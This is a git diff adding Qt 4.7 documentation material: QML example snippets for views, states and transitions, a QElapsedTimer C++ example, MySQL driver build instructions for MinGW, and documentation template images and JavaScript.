0000000..64b5a40 --- /dev/null +++ b/doc/src/snippets/declarative/codingconventions/javascript.qml @@ -0,0 +1,33 @@ +import Qt 4.7 + +Rectangle { + +//![0] +Rectangle { color: "blue"; width: parent.width / 3 } +//![0] + +//![1] +Rectangle { + color: "blue" + width: { + var w = parent.width / 3 + console.debug(w) + return w + } +} +//![1] + +//![2] +function calculateWidth(object) +{ + var w = object.width / 3 + // ... + // more javascript code + // ... + console.debug(w) + return w +} + +Rectangle { color: "blue"; width: calculateWidth(parent) } +//![2] +} diff --git a/doc/src/snippets/declarative/codingconventions/lists.qml b/doc/src/snippets/declarative/codingconventions/lists.qml new file mode 100644 index 0000000..63e8100 --- /dev/null +++ b/doc/src/snippets/declarative/codingconventions/lists.qml @@ -0,0 +1,22 @@ +import Qt 4.7 + +Item { + Item { +//! [0] +states: [ + State { + name: "open" + PropertyChanges { target: container; width: 200 } + } +] +//! [0] + } + Item { +//! [1] +states: State { + name: "open" + PropertyChanges { target: container; width: 200 } +} +//! [1] + } +} diff --git a/doc/src/snippets/declarative/codingconventions/myscript.js b/doc/src/snippets/declarative/codingconventions/myscript.js new file mode 100644 index 0000000..cfa6462 --- /dev/null +++ b/doc/src/snippets/declarative/codingconventions/myscript.js @@ -0,0 +1,9 @@ +function calculateWidth(parent) +{ + var w = parent.width / 3 + // ... + // more javascript code + // ... + console.debug(w) + return w +} diff --git a/doc/src/snippets/declarative/codingconventions/photo.qml b/doc/src/snippets/declarative/codingconventions/photo.qml new file mode 100644 index 0000000..c28c2c9 --- /dev/null +++ b/doc/src/snippets/declarative/codingconventions/photo.qml @@ -0,0 +1,37 @@ +import Qt 4.7 + +//! [0] +Rectangle { + id: photo // id on the first line makes it easy to find an object + + property bool thumbnail: false // property declarations + property alias image: photoImage.source + + signal clicked // signal declarations + + function doSomething(x) { // javascript functions + return x + photoImage.width + } + + x: 20; y: 20; width: 200; height: 150 // object properties + color: "gray" // try to group related properties together + + Rectangle { // child objects + id: border + anchors.centerIn: parent; color: "white" + + Image { id: photoImage; anchors.centerIn: parent } + } + + states: State { // states + name: "selected" + PropertyChanges { target: border; color: "red" } + } + + transitions: Transition { // transitions + from: ""; to: "selected" + ColorAnimation { target: border; duration: 200 } + } +} +//! [0] + diff --git a/doc/src/snippets/declarative/comments.qml b/doc/src/snippets/declarative/comments.qml new file mode 100644 index 0000000..ab1bbc9 --- /dev/null +++ b/doc/src/snippets/declarative/comments.qml @@ -0,0 +1,11 @@ +import Qt 4.7 + +Text { + text: "Hello world!" //a basic greeting + /* + We want this text to stand out from the rest so + we give it a large size and different font. + */ + font.family: "Helvetica" + font.pointSize: 24 +} diff --git a/doc/src/snippets/declarative/drag.qml b/doc/src/snippets/declarative/drag.qml new file mode 100644 index 0000000..9465efb --- /dev/null +++ b/doc/src/snippets/declarative/drag.qml @@ -0,0 +1,18 @@ +import Qt 4.7 + +//! [0] +Rectangle { + id: blurtest; width: 600; height: 200; color: "white" + Image { + id: pic; source: "qtlogo-64.png"; anchors.verticalCenter: parent.verticalCenter + opacity: (600.0-pic.x) / 600; + MouseArea { + anchors.fill: parent + drag.target: pic + drag.axis: "XAxis" + drag.minimumX: 0 + drag.maximumX: blurtest.width-pic.width + } + } +} +//! [0] diff --git a/doc/src/snippets/declarative/flipable.qml b/doc/src/snippets/declarative/flipable.qml new file mode 100644 index 0000000..ae74345 --- /dev/null +++ b/doc/src/snippets/declarative/flipable.qml @@ -0,0 +1,37 @@ +//! [0] +import Qt 4.7 + +Flipable { + id: flipable + width: 240 + height: 240 + + property int angle: 0 + property bool flipped: false + + front: Image { source: "front.png" } + back: Image { source: "back.png" } + + transform: Rotation { + origin.x: flipable.width/2; origin.y: flipable.height/2 + axis.x: 0; axis.y: 1; axis.z: 0 // rotate around y-axis + angle: flipable.angle + } + + states: State { + name: "back" + PropertyChanges { target: flipable; angle: 180 } + when: flipable.flipped + } + + transitions: Transition { + NumberAnimation { properties: "angle"; duration: 1000 } + } + + MouseArea { + anchors.fill: parent + onClicked: flipable.flipped = !flipable.flipped + } +} +//! [0] + diff --git a/doc/src/snippets/declarative/gradient.qml b/doc/src/snippets/declarative/gradient.qml new file mode 100644 index 0000000..168398d --- /dev/null +++ b/doc/src/snippets/declarative/gradient.qml @@ -0,0 +1,10 @@ +import Qt 4.7 + +Rectangle { + width: 100; height: 100 + gradient: Gradient { + GradientStop { position: 0.0; color: "red" } + GradientStop { position: 0.33; color: "yellow" } + GradientStop { position: 1.0; color: "green" } + } +} diff --git a/doc/src/snippets/declarative/gridview/dummydata/ContactModel.qml b/doc/src/snippets/declarative/gridview/dummydata/ContactModel.qml new file mode 100644 index 0000000..90f139d --- /dev/null +++ b/doc/src/snippets/declarative/gridview/dummydata/ContactModel.qml @@ -0,0 +1,25 @@ +import Qt 4.7 + +ListModel { + id: contactModel + ListElement { + name: "Bill Smith" + number: "555 3264" + portrait: "pics/portrait.png" + } + ListElement { + name: "Jim Williams" + number: "555 5673" + portrait: "pics/portrait.png" + } + ListElement { + name: "John Brown" + number: "555 8426" + portrait: "pics/portrait.png" + } + ListElement { + name: "Sam Wise" + number: "555 0473" + portrait: "pics/portrait.png" + } +} diff --git a/doc/src/snippets/declarative/gridview/gridview.qml b/doc/src/snippets/declarative/gridview/gridview.qml new file mode 100644 index 0000000..1d3df97 --- /dev/null +++ b/doc/src/snippets/declarative/gridview/gridview.qml @@ -0,0 +1,47 @@ +import Qt 4.7 + +//! [3] +Rectangle { + width: 240; height: 180; color: "white" + // ContactModel model is defined in dummydata/ContactModel.qml + // The viewer automatically loads files in dummydata/* to assist + // development without a real data source. + + // Define a delegate component. A component will be + // instantiated for each visible item in the list. +//! [0] + Component { + id: delegate + Item { + id: wrapper + width: 80; height: 78 + Column { + Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter } + Text { text: name; anchors.horizontalCenter: parent.horizontalCenter } + } + } + } +//! [0] + // Define a highlight component. Just one of these will be instantiated + // by each ListView and placed behind the current item. +//! [1] + Component { + id: highlight + Rectangle { + color: "lightsteelblue" + radius: 5 + } + } +//! [1] + // The actual grid +//! [2] + GridView { + width: parent.width; height: parent.height + model: ContactModel; delegate: delegate + cellWidth: 80; cellHeight: 80 + highlight: highlight + focus: true + } +//! [2] +} +//! [3] diff --git a/doc/src/snippets/declarative/gridview/pics/portrait.png b/doc/src/snippets/declarative/gridview/pics/portrait.png Binary files differnew file mode 100644 index 0000000..fb5052a --- /dev/null +++ b/doc/src/snippets/declarative/gridview/pics/portrait.png diff --git a/doc/src/snippets/declarative/listview/dummydata/ContactModel.qml b/doc/src/snippets/declarative/listview/dummydata/ContactModel.qml new file mode 100644 index 0000000..20687cf --- /dev/null +++ b/doc/src/snippets/declarative/listview/dummydata/ContactModel.qml @@ -0,0 +1,17 @@ +import Qt 4.7 + +ListModel { + id: contactModel + ListElement { + name: "Bill Smith" + number: "555 3264" + } + ListElement { + name: "John Brown" + number: "555 8426" + } + ListElement { + name: "Sam Wise" + number: "555 0473" + } +} diff --git a/doc/src/snippets/declarative/listview/highlight.qml b/doc/src/snippets/declarative/listview/highlight.qml new file mode 100644 index 0000000..794b3f2 --- /dev/null +++ b/doc/src/snippets/declarative/listview/highlight.qml @@ -0,0 +1,63 @@ +import Qt 4.7 + +Rectangle { + width: 180; height: 200; color: "white" + + // ContactModel model is defined in dummydata/ContactModel.qml + // The viewer automatically loads files in dummydata/* to assist + // development without a real data source. + + // Define a delegate component. A component will be + // instantiated for each visible item in the list. +//! [0] + Component { + id: delegate + Item { + id: wrapper + width: 180; height: 40 + Column { + x: 5; y: 5 + Text { text: '<b>Name:</b> ' + name } + Text { text: '<b>Number:</b> ' + number } + } + // Use the ListView.isCurrentItem attached property to + // indent the item if it is the current item. + states: [ + State { + name: "Current" + when: wrapper.ListView.isCurrentItem + PropertyChanges { target: wrapper; x: 10 } + } + ] + transitions: [ + Transition { NumberAnimation { properties: "x"; duration: 200 } } + ] + } + } +//! [0] + // Specify a highlight with custom movement. Note that autoHighlight + // is set to false in the ListView so that we can control how the + // highlight moves to the current item. +//! [1] + Component { + id: highlight + Rectangle { + width: 180; height: 40 + color: "lightsteelblue"; radius: 5 + SpringFollow on y { + to: list.currentItem.y + spring: 3 + damping: 0.2 + } + } + } + ListView { + id: list + width: parent.height; height: parent.height + model: ContactModel; delegate: delegate + highlight: highlight + highlightFollowsCurrentItem: false + focus: true + } +//! [1] +} diff --git a/doc/src/snippets/declarative/listview/listview.qml b/doc/src/snippets/declarative/listview/listview.qml new file mode 100644 index 0000000..61bf126 --- /dev/null +++ b/doc/src/snippets/declarative/listview/listview.qml @@ -0,0 +1,49 @@ +import Qt 4.7 + +//! [3] +Rectangle { + width: 180; height: 200; color: "white" + + // ContactModel model is defined in dummydata/ContactModel.qml + // The viewer automatically loads files in dummydata/* to assist + // development without a real data source. + + // Define a delegate component. A component will be + // instantiated for each visible item in the list. +//! [0] + Component { + id: delegate + Item { + id: wrapper + width: 180; height: 40 + Column { + x: 5; y: 5 + Text { text: '<b>Name:</b> ' + name } + Text { text: '<b>Number:</b> ' + number } + } + } + } +//! [0] + // Define a highlight component. Just one of these will be instantiated + // by each ListView and placed behind the current item. +//! [1] + Component { + id: highlight + Rectangle { + color: "lightsteelblue" + radius: 5 + } + } +//! [1] + // The actual list +//! [2] + ListView { + width: parent.width; height: parent.height + model: ContactModel + delegate: delegate + highlight: highlight + focus: true + } +//! [2] +} +//! [3] diff --git a/doc/src/snippets/declarative/mouseregion.qml b/doc/src/snippets/declarative/mouseregion.qml new file mode 100644 index 0000000..a464069 --- /dev/null +++ b/doc/src/snippets/declarative/mouseregion.qml @@ -0,0 +1,26 @@ +import Qt 4.7 + +Rectangle { width: 200; height: 100 +Row { +//! [0] +Rectangle { width: 100; height: 100; color: "green" + MouseArea { anchors.fill: parent; onClicked: { parent.color = 'red' } } +} +//! [0] +//! [1] +Rectangle { + width: 100; height: 100; color: "green" + MouseArea { + anchors.fill: parent + acceptedButtons: Qt.LeftButton | Qt.RightButton + onClicked: { + if (mouse.button == Qt.RightButton) + parent.color = 'blue'; + else + parent.color = 'red'; + } + } +} +//! [1] +} +} diff --git a/doc/src/snippets/declarative/pathview/dummydata/MenuModel.qml b/doc/src/snippets/declarative/pathview/dummydata/MenuModel.qml new file mode 100644 index 0000000..4004076 --- /dev/null +++ b/doc/src/snippets/declarative/pathview/dummydata/MenuModel.qml @@ -0,0 +1,17 @@ +import Qt 4.7 + +ListModel { + id: menuModel + ListElement { + name: "Bill Jones" + icon: "pics/qtlogo-64.png" + } + ListElement { + name: "Jane Doe" + icon: "pics/qtlogo-64.png" + } + ListElement { + name: "John Smith" + icon: "pics/qtlogo-64.png" + } +} diff --git a/doc/src/snippets/declarative/pathview/pathattributes.qml b/doc/src/snippets/declarative/pathview/pathattributes.qml new file mode 100644 index 0000000..ba860c2 --- /dev/null +++ b/doc/src/snippets/declarative/pathview/pathattributes.qml @@ -0,0 +1,36 @@ +import Qt 4.7 + +Rectangle { + width: 240; height: 200; color: 'white' +//! [0] +//! [1] + Component { + id: delegate + Item { + id: wrapper + width: 80; height: 80 + scale: PathView.scale + opacity: PathView.opacity + Column { + Image { anchors.horizontalCenter: name.horizontalCenter; width: 64; height: 64; source: icon } + Text { text: name; font.pointSize: 16} + } + } + } +//! [1] +//! [2] + PathView { + anchors.fill: parent; model: MenuModel; delegate: delegate + path: Path { + startX: 120; startY: 100 + PathAttribute { name: "scale"; value: 1.0 } + PathAttribute { name: "opacity"; value: 1.0 } + PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 } + PathAttribute { name: "scale"; value: 0.3 } + PathAttribute { name: "opacity"; value: 0.5 } + PathQuad { x: 120; y: 100; controlX: -20; controlY: 75 } + } + } +//! [2] +//! [0] +} diff --git a/doc/src/snippets/declarative/pathview/pathview.qml b/doc/src/snippets/declarative/pathview/pathview.qml new file mode 100644 index 0000000..3686398 --- /dev/null +++ b/doc/src/snippets/declarative/pathview/pathview.qml @@ -0,0 +1,30 @@ +import Qt 4.7 + +Rectangle { + width: 240; height: 200; color: 'white' +//! [0] +//! [1] + Component { + id: delegate + Item { + id: wrapper + width: 80; height: 80 + Column { + Image { anchors.horizontalCenter: name.horizontalCenter; width: 64; height: 64; source: icon } + Text { text: name; font.pointSize: 16} + } + } + } +//! [1] +//! [2] + PathView { + anchors.fill: parent; model: MenuModel; delegate: delegate + path: Path { + startX: 120; startY: 100 + PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 } + PathQuad { x: 120; y: 100; controlX: -20; controlY: 75 } + } + } +//! [2] +//! [0] +} diff --git a/doc/src/snippets/declarative/pathview/pics/qtlogo-64.png b/doc/src/snippets/declarative/pathview/pics/qtlogo-64.png Binary files differnew file mode 100644 index 0000000..4f68e16 --- /dev/null +++ b/doc/src/snippets/declarative/pathview/pics/qtlogo-64.png diff --git a/doc/src/snippets/declarative/pics/qt.png b/doc/src/snippets/declarative/pics/qt.png Binary files differnew file mode 100644 index 0000000..cbed1a9 --- /dev/null +++ b/doc/src/snippets/declarative/pics/qt.png diff --git a/doc/src/snippets/declarative/repeater-index.qml b/doc/src/snippets/declarative/repeater-index.qml new file mode 100644 index 0000000..709eaf2 --- /dev/null +++ b/doc/src/snippets/declarative/repeater-index.qml @@ -0,0 +1,15 @@ +import Qt 4.7 + +Rectangle { + width: 50; height: childrenRect.height; color: "white" + +//! [0] + Column { + Repeater { + model: 10 + Text { text: "I'm item " + index } + } + } +//! [0] +} + diff --git a/doc/src/snippets/declarative/repeater.qml b/doc/src/snippets/declarative/repeater.qml new file mode 100644 index 0000000..02a8208 --- /dev/null +++ b/doc/src/snippets/declarative/repeater.qml @@ -0,0 +1,16 @@ +import Qt 4.7 + +Rectangle { + width: 220; height: 20; color: "white" + +//! [0] + Row { + Rectangle { width: 10; height: 20; color: "red" } + Repeater { + model: 10 + Rectangle { width: 20; height: 20; radius: 10; color: "green" } + } + Rectangle { width: 10; height: 20; color: "blue" } + } +//! [0] +} diff --git a/doc/src/snippets/declarative/rotation.qml b/doc/src/snippets/declarative/rotation.qml new file mode 100644 index 0000000..f2fd78c --- /dev/null +++ b/doc/src/snippets/declarative/rotation.qml @@ -0,0 +1,33 @@ +import Qt 4.7 + +Rectangle { + width: 360; height: 80 + color: "white" +//! [0] + Row { + x: 10; y: 10 + spacing: 10 + Image { source: "pics/qt.png" } + Image { + source: "pics/qt.png" + transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 18 } + smooth: true + } + Image { + source: "pics/qt.png" + transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 36 } + smooth: true + } + Image { + source: "pics/qt.png" + transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 54 } + smooth: true + } + Image { + source: "pics/qt.png" + transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 72 } + smooth: true + } + } +//! [0] +} diff --git a/doc/src/snippets/declarative/workerscript.qml b/doc/src/snippets/declarative/workerscript.qml new file mode 100644 index 0000000..838e7e5 --- /dev/null +++ b/doc/src/snippets/declarative/workerscript.qml @@ -0,0 +1,24 @@ +//![0] +import Qt 4.7 + +Rectangle { + width: 300; height: 300 + + Text { + id: myText + text: 'Click anywhere' + } + + WorkerScript { + id: myWorker + source: "script.js" + + onMessage: myText.text = messageObject.reply + } + + MouseArea { + anchors.fill: parent + onClicked: myWorker.sendMessage({ 'x': mouse.x, 'y': mouse.y }) + } +} +//![0] diff --git a/doc/src/snippets/qelapsedtimer/main.cpp b/doc/src/snippets/qelapsedtimer/main.cpp new file mode 100644 index 0000000..9d0421f --- /dev/null +++ b/doc/src/snippets/qelapsedtimer/main.cpp @@ -0,0 +1,112 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtNetwork module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +#include <QtCore> + +void slowOperation1() +{ + static char buf[256]; + for (int i = 0; i < (1<<20); ++i) + buf[i % sizeof buf] = i; +} + +void slowOperation2(int) { slowOperation1(); } + +void startExample() +{ +//![0] + QElapsedTimer timer; + timer.start(); + + slowOperation1(); + + qDebug() << "The slow operation took" << timer.elapsed() << "milliseconds"; +//![0] +} + +//![1] +void executeSlowOperations(int timeout) +{ + QElapsedTimer timer; + timer.start(); + slowOperation1(); + + int remainingTime = timeout - timer.elapsed(); + if (remainingTime > 0) + slowOperation2(remainingTime); +} +//![1] + +//![2] +void executeOperationsForTime(int ms) +{ + QElapsedTimer timer; + timer.start(); + + while (!timer.hasExpired(ms)) + slowOperation1(); +} +//![2] + +int restartExample() +{ +//![3] + QElapsedTimer timer; + + int count = 1; + timer.start(); + do { + count *= 2; + slowOperation2(count); + } while (timer.restart() < 250); + + return count; +//![3] +} + +int main(int argc, char **argv) +{ + QCoreApplication app(argc, argv); + + startExample(); + restartExample(); + executeSlowOperations(5); + executeOperationsForTime(5); +} diff --git a/doc/src/snippets/qelapsedtimer/qelapsedtimer.pro b/doc/src/snippets/qelapsedtimer/qelapsedtimer.pro new file mode 100644 index 0000000..b0a8f66 --- /dev/null +++ b/doc/src/snippets/qelapsedtimer/qelapsedtimer.pro @@ -0,0 +1,2 @@ +SOURCES = main.cpp +QT -= gui diff --git a/doc/src/sql-programming/sql-driver.qdoc b/doc/src/sql-programming/sql-driver.qdoc index 1083c84..6bccd83 100644 --- a/doc/src/sql-programming/sql-driver.qdoc +++ b/doc/src/sql-programming/sql-driver.qdoc @@ -74,7 +74,7 @@ \row \o \link #QPSQL QPSQL\endlink \o PostgreSQL (versions 7.3 and above) \row \o \link #QSQLITE2 QSQLITE2\endlink \o SQLite version 2 \row \o \link #QSQLITE QSQLITE\endlink \o SQLite version 3 - \row \o \link #QTDS QTDS\endlink \o Sybase Adaptive Server + \row \o \link #QTDS QTDS\endlink \o Sybase Adaptive Server \note obsolete from Qt 4.7 \endtable SQLite is the in-process database system with the best test coverage @@ -192,6 +192,73 @@ built in release mode only. If you are expecting a debug version to be built as well, don't use the \c{"-o Makefile"} option. + \section3 How to build the MySQL driver for MinGW users + + The following steps have been used successfully for WinXP SP3. In + this example, Qt 4.6.2 is shown. + + \list + + \o Download the following components: + \list + \o \c{MinGW-5.1.6.exe} + \o \c{mingw-utils-0.3.tar.gz} + \o Qt sources, e.g. \c{qt-everywhere-opensource-src-4.6.2.zip} + \o \c{mysql-5.1.35-win32.msi} + \endlist + + \o Install \c{MinGW-5.1.6.exe} in, e.g. \c{C:\MinGW}. + + \o Extract \c{mingw-utils-0.3.tar.gz} into, e.g. \c{C:\MinGW}. + + \o Add the path for \c{MinGW-5.1.6.exe} to your \c{PATH} variable, + e.g. \c{C:\MinGW\bin;} + + \o Extract the Qt sources, (\c{qt-everywhere-opensource-src-4.6.2.zip}), + into, e.g. \c{C:\Qt}. + + \o Add the path for the eventual Qt binary to your \c{PATH} variable, + e.g. \c{C:\Qt\4.6.2\bin;}. + + \o Install MySQL (\c{mysql-5.1.35-win32.msi}), customizing the + components. Select only the headers and libraries. Install in, + e.g. \c{C:\MySQL\MySQL51}. + + \o Open the DOS prompt, go to \c{C:\MySQL\MySQL51\lib\opt}, and run + the following commands: + \list + \o \c{reimp -d libmysql.lib} + \o \c{dlltool -k -d libmysql.def -l libmysql.a} + \endlist + + \o Open the DOS prompt, go to \c{C:\Qt\4.6.2} and run the following commands: + \list + \o \c{configure.exe -debug-and-release -platform win32-g++ -qt-sql-mysql + -l mysql -I C:\MySQL\MySQL51\include -L C:\MySQL\MySQL51\lib\opt} + \o \c{mingw32-make sub-src} + \endlist + This step takes a long time. + + \o Open the DOS prompt, go to + \c{C:\Qt\4.6.2\src\plugins\sqldrivers\mysql} and run the + following command: + \list + \o \c{qmake "INCLUDEPATH+=C:\MySQL\MySQL51\include" "LIBS+=-L. mysql" mysql.pro} + \endlist + + \o Now the following libraries are ready in \c{C:\Qt\4.6.2\plugins\sqldrivers}. + \list + \o \c{libqsqlmysql4.a} + \o \c{libqsqlmysqld4.a} + \o \c{qsqlmysql4.dll} + \o \c{qsqlmysqld4.dll} + \endlist + To use the SDK and QtCreator directly, copy these libraries to + your \c{C:\Qt\...\qt\plugins\sqldrivers\}, and copy + \c{C:\MySQL\MySQL51\lib\opt\libmysql.dll} to your \c{C:\Qt\...\qt\bin\}. + + \endlist + \target QOCI \section2 QOCI for the Oracle Call Interface (OCI) @@ -445,6 +512,10 @@ \target QTDS \section2 QTDS for Sybase Adaptive Server + + \note TDS is no longer used by MS Sql Server, and is superceded by + \l{QODBC}{ODBC}. QTDS is obsolete from Qt 4.7. + \section3 General Information about QTDS It is not possible to set the port with QSqlDatabase::setPort() due to limitations in the diff --git a/doc/src/template/images/api_examples.png b/doc/src/template/images/api_examples.png Binary files differnew file mode 100755 index 0000000..1fcbc96 --- /dev/null +++ b/doc/src/template/images/api_examples.png diff --git a/doc/src/template/images/api_lookup.png b/doc/src/template/images/api_lookup.png Binary files differnew file mode 100755 index 0000000..1cffd5e --- /dev/null +++ b/doc/src/template/images/api_lookup.png diff --git a/doc/src/template/images/api_topics.png b/doc/src/template/images/api_topics.png Binary files differnew file mode 100755 index 0000000..a76a6c3 --- /dev/null +++ b/doc/src/template/images/api_topics.png diff --git a/doc/src/template/images/bg_l.png b/doc/src/template/images/bg_l.png Binary files differnew file mode 100755 index 0000000..95470c7 --- /dev/null +++ b/doc/src/template/images/bg_l.png diff --git a/doc/src/template/images/bg_l_blank.png b/doc/src/template/images/bg_l_blank.png Binary files differnew file mode 100755 index 0000000..e0eca3f --- /dev/null +++ b/doc/src/template/images/bg_l_blank.png diff --git a/doc/src/template/images/bg_ll.png b/doc/src/template/images/bg_ll.png Binary files differnew file mode 100755 index 0000000..99796e7 --- /dev/null +++ b/doc/src/template/images/bg_ll.png diff --git a/doc/src/template/images/bg_ll_blank.png b/doc/src/template/images/bg_ll_blank.png Binary files differnew file mode 100755 index 0000000..95a1c45 --- /dev/null +++ b/doc/src/template/images/bg_ll_blank.png diff --git a/doc/src/template/images/bg_lr.png b/doc/src/template/images/bg_lr.png Binary files differnew file mode 100755 index 0000000..fef1d17 --- /dev/null +++ b/doc/src/template/images/bg_lr.png diff --git a/doc/src/template/images/bg_r.png b/doc/src/template/images/bg_r.png Binary files differnew file mode 100755 index 0000000..42a35a5 --- /dev/null +++ b/doc/src/template/images/bg_r.png diff --git a/doc/src/template/images/bg_ul.png b/doc/src/template/images/bg_ul.png Binary files differnew file mode 100755 index 0000000..303181f --- /dev/null +++ b/doc/src/template/images/bg_ul.png diff --git a/doc/src/template/images/bg_ul_blank.png b/doc/src/template/images/bg_ul_blank.png Binary files differnew file mode 100755 index 0000000..7051261 --- /dev/null +++ b/doc/src/template/images/bg_ul_blank.png diff --git a/doc/src/template/images/bg_ur.png b/doc/src/template/images/bg_ur.png Binary files differnew file mode 100755 index 0000000..bfa51a4 --- /dev/null +++ b/doc/src/template/images/bg_ur.png diff --git a/doc/src/template/images/bg_ur_blank.png b/doc/src/template/images/bg_ur_blank.png Binary files differnew file mode 100755 index 0000000..5779961 --- /dev/null +++ b/doc/src/template/images/bg_ur_blank.png diff --git a/doc/src/template/images/box_bg.png b/doc/src/template/images/box_bg.png Binary files differnew file mode 100755 index 0000000..232655a --- /dev/null +++ b/doc/src/template/images/box_bg.png diff --git a/doc/src/template/images/breadcrumb.png b/doc/src/template/images/breadcrumb.png Binary files differnew file mode 100755 index 0000000..f0571ce --- /dev/null +++ b/doc/src/template/images/breadcrumb.png diff --git a/doc/src/template/images/bullet_dn.png b/doc/src/template/images/bullet_dn.png Binary files differnew file mode 100644 index 0000000..f776247 --- /dev/null +++ b/doc/src/template/images/bullet_dn.png diff --git a/doc/src/template/images/bullet_gt.png b/doc/src/template/images/bullet_gt.png Binary files differnew file mode 100755 index 0000000..8875925 --- /dev/null +++ b/doc/src/template/images/bullet_gt.png diff --git a/doc/src/template/images/bullet_sq.png b/doc/src/template/images/bullet_sq.png Binary files differnew file mode 100755 index 0000000..db85ee3 --- /dev/null +++ b/doc/src/template/images/bullet_sq.png diff --git a/doc/src/template/images/bullet_up.png b/doc/src/template/images/bullet_up.png Binary files differnew file mode 100644 index 0000000..285e741 --- /dev/null +++ b/doc/src/template/images/bullet_up.png diff --git a/doc/src/template/images/content_bg.png b/doc/src/template/images/content_bg.png Binary files differnew file mode 100755 index 0000000..416397d --- /dev/null +++ b/doc/src/template/images/content_bg.png diff --git a/doc/src/template/images/feedbackground.png b/doc/src/template/images/feedbackground.png Binary files differnew file mode 100755 index 0000000..3a38d99 --- /dev/null +++ b/doc/src/template/images/feedbackground.png diff --git a/doc/src/template/images/form_bg.png b/doc/src/template/images/form_bg.png Binary files differnew file mode 100755 index 0000000..bf2ee54 --- /dev/null +++ b/doc/src/template/images/form_bg.png diff --git a/doc/src/template/images/header.png b/doc/src/template/images/header.png Binary files differnew file mode 100644 index 0000000..141488b --- /dev/null +++ b/doc/src/template/images/header.png diff --git a/doc/src/template/images/horBar.png b/doc/src/template/images/horBar.png Binary files differnew file mode 100755 index 0000000..100fe91 --- /dev/null +++ b/doc/src/template/images/horBar.png diff --git a/doc/src/template/images/page_bg.png b/doc/src/template/images/page_bg.png Binary files differnew file mode 100755 index 0000000..fb7d051 --- /dev/null +++ b/doc/src/template/images/page_bg.png diff --git a/doc/src/template/images/print.png b/doc/src/template/images/print.png Binary files differnew file mode 100755 index 0000000..4581da1 --- /dev/null +++ b/doc/src/template/images/print.png diff --git a/doc/src/template/images/qt_guide.png b/doc/src/template/images/qt_guide.png Binary files differnew file mode 100755 index 0000000..9f53a05 --- /dev/null +++ b/doc/src/template/images/qt_guide.png diff --git a/doc/src/template/images/qt_icon.png b/doc/src/template/images/qt_icon.png Binary files differnew file mode 100755 index 0000000..fbaee35 --- /dev/null +++ b/doc/src/template/images/qt_icon.png diff --git a/doc/src/template/images/qt_ref_doc.png b/doc/src/template/images/qt_ref_doc.png Binary files differnew file mode 100755 index 0000000..141488b --- /dev/null +++ b/doc/src/template/images/qt_ref_doc.png diff --git a/doc/src/template/images/qt_tools.png b/doc/src/template/images/qt_tools.png Binary files differnew file mode 100755 index 0000000..cc24179 --- /dev/null +++ b/doc/src/template/images/qt_tools.png diff --git a/doc/src/template/images/sep.png b/doc/src/template/images/sep.png Binary files differnew file mode 100755 index 0000000..c895646 --- /dev/null +++ b/doc/src/template/images/sep.png diff --git a/doc/src/template/images/sprites-combined.png b/doc/src/template/images/sprites-combined.png Binary files differnew file mode 100755 index 0000000..4186022 --- /dev/null +++ b/doc/src/template/images/sprites-combined.png diff --git a/doc/src/template/scripts/functions.js b/doc/src/template/scripts/functions.js new file mode 100755 index 0000000..fa454e3 --- /dev/null +++ b/doc/src/template/scripts/functions.js @@ -0,0 +1,61 @@ + +/* START non link areas where cursor should change to pointing hand */ +$('.t_button').mouseover(function() { + $('.t_button').css('cursor','pointer'); + /*document.getElementById(this.id).style.cursor='pointer';*/ +}); + +/* END non link areas */ +$('#smallA').click(function() { + $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','smaller'); + $('.t_button').removeClass('active') + $(this).addClass('active') +}); + +$('#medA').click(function() { + $('.content .heading').css('font','600 16px/1 Arial'); + $('.content h1').css('font','600 18px/1.2 Arial'); + $('.content h2').css('font','600 16px/1.2 Arial'); + $('.content h3').css('font','600 14px/1.2 Arial'); + $('.content p').css('font','13px/20px Verdana'); + $('.content li').css('font','400 13px/1 Verdana'); + $('.content li').css('line-height','14px'); + $('.content .toc li').css('font', 'normal 10px/1.2 Verdana'); + $('.content table').css('font','13px/1.2 Verdana'); + $('.content .heading').css('font','600 16px/1 Arial'); + $('.content .indexboxcont li').css('font','600 13px/1 Verdana'); + $('.t_button').removeClass('active') + $(this).addClass('active') +}); + +$('#bigA').click(function() { + $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','large'); + $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('line-height','25px'); + $('.t_button').removeClass('active') + $(this).addClass('active') +}); + +function doSearch(str){ + +if (str.length>3) + { + alert('Search is not yet activated.'); + // document.getElementById("refWrapper").innerHTML=""; + return; + } + else + return; + +// var url="indexSearch.php"; +// url=url+"?q="+str; + // url=url+"&sid="+Math.random(); + // var url="http://localhost:8983/solr/select?"; + // url=url+"&q="+str; + // url=url+"&fq=&start=0&rows=10&fl=&qt=&wt=&explainOther=&hl.fl="; + + // $.get(url, function(data){ + // alert(data); + // document.getElementById("refWrapper").innerHTML=data; + //}); + +}
